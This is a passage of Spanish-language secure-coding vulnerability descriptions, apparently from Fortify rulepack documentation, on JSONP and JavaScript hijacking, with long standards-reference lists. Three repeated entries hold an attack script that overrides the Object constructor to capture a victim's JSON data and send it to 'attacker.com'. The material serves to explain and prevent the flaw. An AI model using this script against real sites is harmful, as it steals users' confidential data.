[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
JSONP es una técnica de comunicación insegura que solo debería utilizarse cuando no haya datos personales ni confidenciales implicados.
Explanation
Debido a su diseño, JSONP permite realizar solicitudes entre dominios pero carece de todo mecanismo para restringir y verificar el origen de las solicitudes. Un sitio malintencionado puede realizar fácilmente una solicitud JSONP en nombre del usuario y procesar la respuesta JSON. Por este motivo, se recomienda encarecidamente evitar esta técnica de comunicación cuando se envíen datos confidenciales o información de identificación personal.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 346
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
Las aplicaciones que utilizan Microsoft AJAX.NET (Atlas) pueden ser vulnerables a suplantación de JavaScript, permitiendo a un atacante no autorizado el acceso a datos confidenciales.
Explanation
Microsoft AJAX.NET (Atlas) utiliza JSON para transferir datos entre el servidor y el cliente. El marco de trabajo produce respuestas compuestas de JavaScript válido que se pueden evaluar utilizando una etiqueta <script> y, por tanto, es vulnerable a la suplantación de JavaScript [1]. De forma predeterminada, el marco de trabajo utiliza el método POST para enviar solicitudes, lo que dificulta la elaboración de una solicitud a partir de una etiqueta <script> maliciosa (puesto que las etiquetas <script> solo generan solicitudes GET). No obstante, Microsoft AJAX.NET ofrece mecanismos para utilizar solicitudes GET. De hecho, muchos expertos instan a los programadores a utilizar solicitudes GET para aprovechar la memoria caché del explorador y mejorar el rendimiento.

Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
Las aplicaciones que utilizan el marco de trabajo Google Web Toolkit (GTW) podrían ser vulnerables a suplantación de JavaScript, permitiendo a un atacante no autorizado poder leer datos confidenciales.
Explanation
GWT utiliza JSON para transferir datos entre el servidor y el cliente. El marco de trabajo produce respuestas compuestas de JavaScript válido que se pueden evaluar utilizando una etiqueta <script> y, por tanto, es vulnerable a la suplantación de JavaScript [1]. De forma predeterminada, el marco de trabajo utiliza el método POST para enviar solicitudes, lo que dificulta la elaboración de una solicitud a partir de una etiqueta <script> maliciosa (puesto que las etiquetas <script> solo generan solicitudes GET). No obstante, GWT ofrece mecanismos para utilizar solicitudes GET. De hecho, muchos expertos instan a los programadores a utilizar solicitudes GET para aprovechar la memoria caché del explorador y mejorar el rendimiento.

Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podría dar servicio a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.java.javascript_hijacking_vulnerable_framework
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web aplican la directiva de mismo origen para proteger a los usuarios de sitios web malintencionados. La directiva de mismo origen exige que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web deben provenir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un atacante eludir la directiva de mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. La laguna jurídica en la directiva de mismo origen es que permite que JavaScript de cualquier sitio web se incluya y ejecute en el contexto de cualquier otro sitio web. Aunque un sitio malintencionado no puede examinar directamente los datos cargados desde un sitio vulnerable en el cliente, todavía puede aprovechar esta laguna configurando un entorno que le permita presenciar la ejecución de JavaScript y cualquier efecto secundario pertinente que pueda tener. Dado que muchas aplicaciones Web 2.0 utilizan JavaScript como mecanismo de transporte de datos, a menudo son vulnerables, mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
